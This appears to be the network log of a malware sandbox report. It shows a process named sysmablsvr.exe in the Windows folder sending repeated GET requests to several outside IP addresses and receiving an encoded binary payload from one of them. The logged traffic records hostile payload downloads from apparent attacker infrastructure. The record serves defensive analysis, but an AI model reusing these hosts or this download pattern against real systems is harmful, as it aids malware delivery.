Sep 17, 2024 23:09:20.953288078 CEST	1236	IN	Data Raw: 8a ff 83 22 c8 95 a3 8f b1 4a 38 b5 2d bb cd 5f 4e 56 ec 78 f2 2a 77 31 8e 84 ce 5f 01 9a 88 8c 69 78 7b fd d1 e9 90 ce fe 19 9e 71 f0 74 06 bd 8e 4b 2b c8 64 c7 2f 6c ac 9d 86 51 f9 3f 34 9e 6b 84 9f 6f bf 8a ab 20 11 6b d1 b9 32 c9 ad 31 26 8f Data Ascii: "J8-_NVx*w1_ix{qtK+d/lQ?4ko k21&p"NX^xp7'a#/n5za\a@hks_jq9mmC]ZF.?9&3FQQjOrl}u]?#B<
Sep 17, 2024 23:09:20.953299999 CEST	1236	IN	Data Raw: a3 9e 70 26 2d 00 71 9f 71 d4 4d 7a d0 f3 1c 0f 04 10 cb 9a 79 d7 26 8f 1d c1 cf 2b da 1a a8 b2 33 fa 6c 30 25 2e 24 74 32 6b 2f 20 ad 89 f4 1c 13 0e 03 f8 7a e3 ea 88 da f8 db d8 4b 75 28 fb 0d 03 74 64 2d c0 6f ec 7c 04 02 95 be 55 6f e0 c2 7c Data Ascii: p&-qqMzy&+3l0%.$t2k/ zKu(td-o\|Uo\|-mh3O4nloL;zvMwI6j( jxm%MN7c3"E eBQ%k75R3FF5B\|Ws
Sep 17, 2024 23:09:20.953783035 CEST	1236	IN	Data Raw: 91 49 c1 2a 12 b8 b0 a9 d8 17 cb 3a 12 c7 e3 7c a5 03 4f b4 e0 6f 9c 0f e7 05 56 89 13 01 2e 57 8d a6 90 2d b4 9d 7e 7d ed 69 48 01 1d 6a 10 ef fe 4b e2 e5 f5 a4 22 95 85 0f af 55 50 55 e5 fb b7 be 00 67 40 4d f9 41 19 09 d0 1c fb 85 ca 46 e9 39 Data Ascii: I*:\|OoV.W-~}iHjK"UPUg@MAF9o_<,_7VMV>0pYZley?SAe~r$S0B(wtV74l#F{kf?se_<A9f^Lc}/ :DC=/~2JhY"j
Sep 17, 2024 23:09:20.953793049 CEST	672	IN	Data Raw: 33 25 5a 99 e4 c8 3a 3b b9 7d 52 56 ea 5a fd 47 b2 99 75 9a fe 01 89 11 e0 f9 89 a0 f0 57 aa 9a e0 f3 6a 1f db 8b 59 f6 8e 92 a8 6b d0 c0 d0 81 23 b7 de 98 3d 07 b3 98 4f 84 16 60 b3 dd ab 53 0a e4 77 2b cc e6 31 65 b3 5f 58 b3 04 3f 64 c3 84 f3 Data Ascii: 3%Z:;}RVZGuWjYk#=O`Sw+1e_X?dVqB)?d4SDeF!/V!Wi((3QPn\|CSe,CJ4s`j:iK<}"X'sTfDxmo}`n}7U;ufk %
Sep 17, 2024 23:09:20.953804970 CEST	892	IN	Data Raw: 7a 4b 6f ef aa 0f 77 0d 83 34 88 fb 2b 39 5a 33 36 0b 55 78 18 b5 1d 4b 2e 53 bb f5 c3 be 56 56 00 2c 57 3a 42 93 c7 6b 32 e2 64 cf cc 52 86 1c 06 2c 9e 8d b7 ee 5e 48 a8 a0 21 94 c6 90 ca d0 1f 56 f1 78 43 e3 ce 12 f6 83 74 ea b0 80 66 2a cc fe Data Ascii: zKow4+9Z36UxK.SVV,W:Bk2dR,^H!VxCtf*0Cg:@<)UQp2g~&-Y3>ADZ(G+NH"g[<W5$9{%Yu7seOC{%XIcbc&Ch2?
Sep 17, 2024 23:09:21.039796114 CEST	8	IN	Data Raw: 1b b5 08 3e b6 9b 0d ab Data Ascii: >
Sep 17, 2024 23:09:23.163697958 CEST	166	OUT	GET /2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
Sep 17, 2024 23:09:23.386266947 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:09:23 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Sep 17, 2024 23:09:25.442640066 CEST	166	OUT	GET /3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
Sep 17, 2024 23:09:25.664438009 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:09:25 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Sep 17, 2024 23:09:27.692382097 CEST	166	OUT	GET /4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
Sep 17, 2024 23:09:27.915556908 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:09:27 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Sep 17, 2024 23:09:29.942568064 CEST	166	OUT	GET /5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
Sep 17, 2024 23:09:30.163774967 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:09:30 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Sep 17, 2024 23:09:32.192881107 CEST	166	OUT	GET /6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
Sep 17, 2024 23:09:32.414632082 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:09:32 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49738	77.91.77.92	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:09:35.464857101 CEST	163	OUT	GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 77.91.77.92

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49741	77.91.77.92	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:09:39.241875887 CEST	163	OUT	GET /2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 77.91.77.92

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49743	77.91.77.92	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:09:42.938610077 CEST	163	OUT	GET /3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 77.91.77.92

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49744	77.91.77.92	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:09:46.621805906 CEST	163	OUT	GET /4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 77.91.77.92

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49745	77.91.77.92	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:09:50.351401091 CEST	163	OUT	GET /5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 77.91.77.92

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49746	77.91.77.92	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:09:54.083096027 CEST	163	OUT	GET /6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 77.91.77.92

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49748	91.202.233.141	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:09:58.798137903 CEST	166	OUT	GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
Sep 17, 2024 23:09:59.523145914 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:09:59 GMT Content-Type: application/octet-stream Content-Length: 12544 Last-Modified: Tue, 17 Sep 2024 16:30:32 GMT Connection: keep-alive ETag: "66e9aea8-3100" Accept-Ranges: bytes Data Raw: 2a 4b d4 2b 46 6e f7 a8 df 7f b7 00 68 d9 6f f3 b4 ef 0d e8 97 2d 1e 10 47 e5 8f 0d b4 e3 91 12 22 5c 1a ce ee 79 08 99 08 ca 96 c6 60 29 56 61 47 7b 2e 57 2c 4a f6 47 4b 3d 49 ec 3f b3 4a b8 c7 e1 ea 4d 42 4c b9 7e 2b fa 7e ba 1a 5e 3e 5b 39 18 5a 84 0e cb f3 93 bc d6 dc 0f 09 55 06 f9 3e 71 57 1f 01 56 32 cd 1b d1 0c 37 c7 0c 7f b5 17 fc 53 75 5f 46 b5 04 b3 70 02 25 2b 93 ee f2 66 57 1d 3f 9a 83 79 83 c7 a4 c9 c6 68 ac 15 9f 47 6b ae 5c 53 20 bf 7c 08 1b 7b 8e 9c ae c5 4f 9f 2f 84 a3 af c9 55 b3 81 69 62 8c a7 ad 5b 6d 48 f6 01 10 bc 78 4f 7c fe d8 7c 3d dc 7d 19 95 05 f0 93 20 e1 25 af 70 be 36 d4 ec 8e c8 49 65 21 99 24 c5 12 b4 46 90 fe aa e8 6c fa 8e 4e fc da cd 1e 04 3a a3 8a 62 6c 3f 6c fe a0 2c b1 16 1a b3 76 46 7d c9 b4 8e a6 3e f9 64 f0 d2 6c 20 bd c4 b1 38 37 d9 9b 49 c8 88 58 c3 32 b0 a2 f6 a0 63 74 49 42 e1 90 d7 39 c4 a3 fb 41 b9 99 62 87 d8 8d 66 39 91 75 ba d7 69 15 0e b0 8c 31 bf 70 fc c0 36 7b 50 13 2c 53 9d 7d 88 30 3f b3 36 95 c6 c0 b7 ca 56 07 02 88 2a ad 2e ad 94 c4 d0 db 3a [TRUNCATED] Data Ascii: K+Fnho-G"\y`)VaG{.W,JGK=I?JMBL~+~^>[9ZU>qWV27Su_Fp%+fW?yhGk\S \|{O/Uib[mHxO\|\|=} %p6Ie!$FlN:bl?l,vF}>dl 87IX2ctIB9Abf9ui1p6{P,S}0?6V.:?.`&T,Fb)PhcX1%UFgKX::=Wg6R1)y5j[AQ&5LaJ)QD'@X+X-{j ^p[]>LeWI\|$ICiwd@g&,C\cXbW_IWx0 ufHlij~PFA4TKD!zV[VNV}$6Jp[<\|"Hfm$d9o=x 3j6Wk12LAyL=}IABtckwuq{W2w8y9cd!dSl(?,`)i^H(x\|0?C~DUK:tMCr;d\|lYie9+X\|\|_#cc2N>a!q'oD==b^aR9=zfPIQInkWZxB#bS_Y^2*Z&"T?~D~O
Sep 17, 2024 23:09:59.523197889 CEST	1236	IN	Data Raw: 21 22 e3 3a f8 64 ed d3 d6 31 f1 21 9f b6 49 60 d1 75 52 5e ed 96 2c 17 37 72 75 59 0c 38 aa 2c 14 89 b2 94 d9 b1 c4 bd cb 69 56 13 c2 e6 c2 4e 94 42 4c ab a8 13 37 df f1 30 27 8c df 4b 21 83 34 e8 67 0f 49 3f 73 b3 69 87 e4 53 75 2d 56 b7 3f e5 Data Ascii: !":d1!I`uR^,7ruY8,iVNBL70'K!4gI?siSu-V?e2^(+#;,x{NsU{/>=NOcqHh6mzy~U;)/K</\|{.f'O,,<=UjE-mJ,),FTuj0}YGHAWZm`%
Sep 17, 2024 23:09:59.523233891 CEST	1236	IN	Data Raw: 8c 7b d2 94 10 81 50 02 1b f8 df 9c 7f 20 a6 79 88 80 16 5a 89 90 19 d2 e1 21 c1 03 6c bf ad d8 ca 8d 65 26 17 dd 85 b6 e9 74 10 0a 32 72 30 5e 5e 67 6f d9 b8 a2 0f ab d9 01 62 52 0b 22 28 1c dd ba 4f 78 04 0a 46 20 b2 6c 00 d2 ad 9b 5c 62 8b 2f Data Ascii: {P yZ!le&t2r0^^gobR"(OxF l\b/{X$5vNXE!`FLNcS^)lQ l-Ts}R;$9DT?b(UGnw,";f+Q6vJ?U<6AQtn\&*8~/bUuq8
Sep 17, 2024 23:09:59.523266077 CEST	1236	IN	Data Raw: ec 6d 0b 68 66 0c c2 5d 9d 2a ae 94 6f df 44 73 f6 1d c9 bb 43 46 5c a8 84 41 08 ae 20 cd 6a b7 f1 a1 ad f4 8f cd 30 2e 38 77 b2 97 65 2d a5 44 ec b4 3b 2b 85 ef 49 41 9f 20 4c e0 76 6d d2 4d 78 9f b7 09 ee 55 58 52 90 1c 29 02 5a a8 4d 8b bc 8a Data Ascii: mhf]oDsCF\A j0.8we-D;+IA LvmMxUXR)ZMDBY[A1dG5!j\|Gb&v2]G\BspIQqTi3&ys?ok`Y{5Va'NX^~s/.^[o3(]G9F]cPIT\+2n^a(`
Sep 17, 2024 23:09:59.523300886 CEST	1236	IN	Data Raw: 10 0d 0b b9 5f 9d 6d e6 92 57 24 32 d1 17 e9 b2 d9 ae 0d 71 a1 d0 f5 93 db 74 24 44 1d 9c e2 88 95 42 43 e3 6d 72 fc 78 0b 0c 45 d3 b3 36 15 f1 98 ab 5f 59 68 bb c4 59 ff aa da 7d a2 ad c0 0d 7b 82 2d 3b 08 0f 12 be 08 9a 06 81 47 b2 42 9b 80 69 Data Ascii: _mW$2qt$DBCmrxE6_YhY}{-;GBiuMPyVE=hEN+kq?<'e>4bcb7Ki<=b"x5V$)VO$&<B0^MgOFzgQTfHO_T1*6vX
Sep 17, 2024 23:09:59.523334026 CEST	1236	IN	Data Raw: 8a 04 bc 40 2f 0c e0 a9 d6 0a e2 f7 14 8f ae 57 56 3d 2a bf 40 a3 25 fe 65 17 b7 f6 2f da 29 64 e9 6d 89 dc fd a5 6c 7b b4 e5 b8 72 df 7e 9d 10 04 92 d4 19 f1 8d 30 01 70 8c 1d 49 81 05 99 27 00 4f 7d 7a 9d c1 12 6d da 6c 5e f7 bb 5a cd 3d cf 8c Data Ascii: @/WV=*@%e/)dml{r~0pI'O}zml^Z=ksq#t]ID4CX<Vq/P:_NwB)xJkGC~ua"5I5nKy+Y{?bCI%Xm01:._&u>}@_`T
Sep 17, 2024 23:09:59.523413897 CEST	1236	IN	Data Raw: 30 57 86 af d6 c6 d3 34 95 3c 80 7e d4 8e 1c 90 01 dd 15 ca 71 10 9c 00 3b 53 0d 8c 64 86 20 42 75 94 c9 97 a4 ac 14 92 66 db cc e6 0b 41 93 bc 48 e3 00 cf 52 69 31 9b 26 f3 80 24 67 53 5d 3c 93 84 ba bb 51 1f 7e 2a d4 23 20 45 21 36 94 89 af 9c Data Ascii: 0W4<~q;Sd BufAHRi1&$gS]<Q~*# E!6:0x[EP-Xn\fv$4X,.YR:Ev%o)p k WkB6eCt@R`}2WP`YJM$3z?5\ JPql
Sep 17, 2024 23:09:59.523448944 CEST	1236	IN	Data Raw: f9 22 9d 01 2b fd 11 5a 19 b7 74 3c 7d 58 9a d4 0d e0 14 a2 0d 47 fd c5 51 f2 b7 9a f7 48 65 ed 09 41 ba 81 e1 6c bb df 4d 7f 56 a2 00 f2 66 ff a8 c5 e0 fc 39 3a bc e6 d4 2e fd 2b c0 af c0 29 76 67 bd f2 ec 0e 7c 1d da eb 7b fd b7 62 3a b7 39 f1 Data Ascii: "+Zt<}XGQHeAlMVf9:.+)vg\|{b:9&&Qn1MW.Ob+am9W-@;fG@cP=YxuF HH;,TTu,zmDU'?lCk=Sbi@iK\eDw"wV
Sep 17, 2024 23:09:59.523482084 CEST	1236	IN	Data Raw: 8c c8 46 fd 7c b3 b9 a1 94 a6 7b 4b c1 71 aa e7 a4 be 30 e5 5f 0e 05 16 bc 74 a8 2d 5c 2f 95 72 38 4e e1 76 31 86 be b0 b9 4d c9 83 64 b1 2d 19 3d 98 16 3b 2f 0b ec e9 18 da 39 a9 18 f7 a4 82 1f a4 33 02 ce 29 81 12 bd c3 f7 91 1b 26 27 d1 55 5c Data Ascii: F\|{Kq0_t-\/r8Nv1Md-=;/93)&'U\]JvjSg4!]ReebGCh+;`4TO{ZVj{726Vij&)q C(*N\|3q.C2&_JcQqGnwR
Sep 17, 2024 23:09:59.523516893 CEST	1236	IN	Data Raw: 18 3e a6 e8 85 bc a6 54 db 4a 14 bc ac 5a 13 7e 50 e4 f7 f8 90 7e 8e c4 4e d6 4a 50 6c 97 a3 82 31 ec 59 be 4c 6f 38 62 b9 d7 4e 68 c4 e0 fb 81 94 96 eb 34 f8 ef 65 4d 72 0c e4 72 b0 61 ad 02 27 c5 b1 82 5c 94 03 fd 50 45 43 36 7b e0 0c a7 45 e4 Data Ascii: >TJZ~P~NJPl1YLo8bNh4eMrra'\PEC6{E\?&SgIqzEfMCz1U74;B3Q&maoMkjyt'K1H(,TNK#/S\|eQ2/f[C]A-Z&QQ>RuvF&0
Sep 17, 2024 23:09:59.528557062 CEST	449	IN	Data Raw: 27 ce c4 b5 6b ea 96 54 3d fe 4f 4d 3d 18 9a a1 b4 15 32 01 38 10 4e b7 4b ed fb 49 c1 d8 b2 5d 08 75 1d 81 79 d8 fa b0 b2 98 90 35 9e 31 36 5f 4e 44 ef 33 04 01 c4 0a 90 70 41 47 fe 67 04 e6 85 b5 53 5f db c8 6e c0 79 b3 52 d8 7e 01 47 5e d2 91 Data Ascii: 'kT=OM=28NKI]uy516_ND3pAGgS_nyR~G^{43e^W-qMw[~PA)LW!^LczVym_ZAVcYoZx%$[_j2\u\wch~;[E5}uiIj^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49749	91.202.233.141	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:10:00.540867090 CEST	166	OUT	GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
